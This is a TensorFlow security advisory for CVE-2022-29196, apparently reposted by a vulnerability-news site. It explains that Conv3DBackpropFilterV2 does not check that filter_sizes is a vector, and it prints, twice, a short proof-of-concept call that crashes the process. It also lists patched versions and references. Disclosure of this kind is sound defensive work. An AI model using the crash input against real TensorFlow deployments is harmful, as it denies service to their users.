Headline
GHSA-5v77-j66x-4c4g: Missing validation causes denial of service via `Conv3DBackpropFilterV2`
Impact
The implementation of tf.raw_ops.Conv3DBackpropFilterV2 does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:
import tensorflow as tf
tf.raw_ops.Conv3DBackpropFilterV2(
input=tf.constant(.5053710941, shape=[2,2,2,2,1], dtype=tf.float16),
filter_sizes=tf.constant(0, shape=[], dtype=tf.int32),
out_backprop=tf.constant(.5053710941, shape=[2,2,2,2,1], dtype=tf.float16),
strides=[1, 1, 1, 1, 1],
padding="VALID",
data_format="NDHWC",
dilations=[1, 1, 1, 1, 1])
The code does not validate that the filter_sizes argument is a vector.
Patches
We have patched the issue in GitHub commit 174c5096f303d5be7ed2ca2662b08371bff4ab88.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
Impact
The implementation of tf.raw_ops.Conv3DBackpropFilterV2 does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:
import tensorflow as tf
tf.raw_ops.Conv3DBackpropFilterV2( input=tf.constant(.5053710941, shape=[2,2,2,2,1], dtype=tf.float16), filter_sizes=tf.constant(0, shape=[], dtype=tf.int32), out_backprop=tf.constant(.5053710941, shape=[2,2,2,2,1], dtype=tf.float16), strides=[1, 1, 1, 1, 1], padding="VALID", data_format="NDHWC", dilations=[1, 1, 1, 1, 1])
The code does not validate that the filter_sizes argument is a vector.
Patches
We have patched the issue in GitHub commit 174c5096f303d5be7ed2ca2662b08371bff4ab88.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
References
- GHSA-5v77-j66x-4c4g
- https://nvd.nist.gov/vuln/detail/CVE-2022-29196
- tensorflow/tensorflow@174c509
- https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/conv_grad_ops_3d.cc
- https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4
- https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2
- https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1
- https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0
Related news
TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.Conv3DBackpropFilterV2` does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack. The code does not validate that the `filter_sizes` argument is a vector. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.
TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, multiple TensorFlow operations misbehave in eager mode when the resource handle provided to them is invalid. In graph mode, it would have been impossible to perform these API calls, but migration to TF 2.x eager mode opened up this vulnerability. If the resource handle is empty, then a reference is bound to a null pointer inside TensorFlow codebase (various codepaths). This is undefined behavior. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.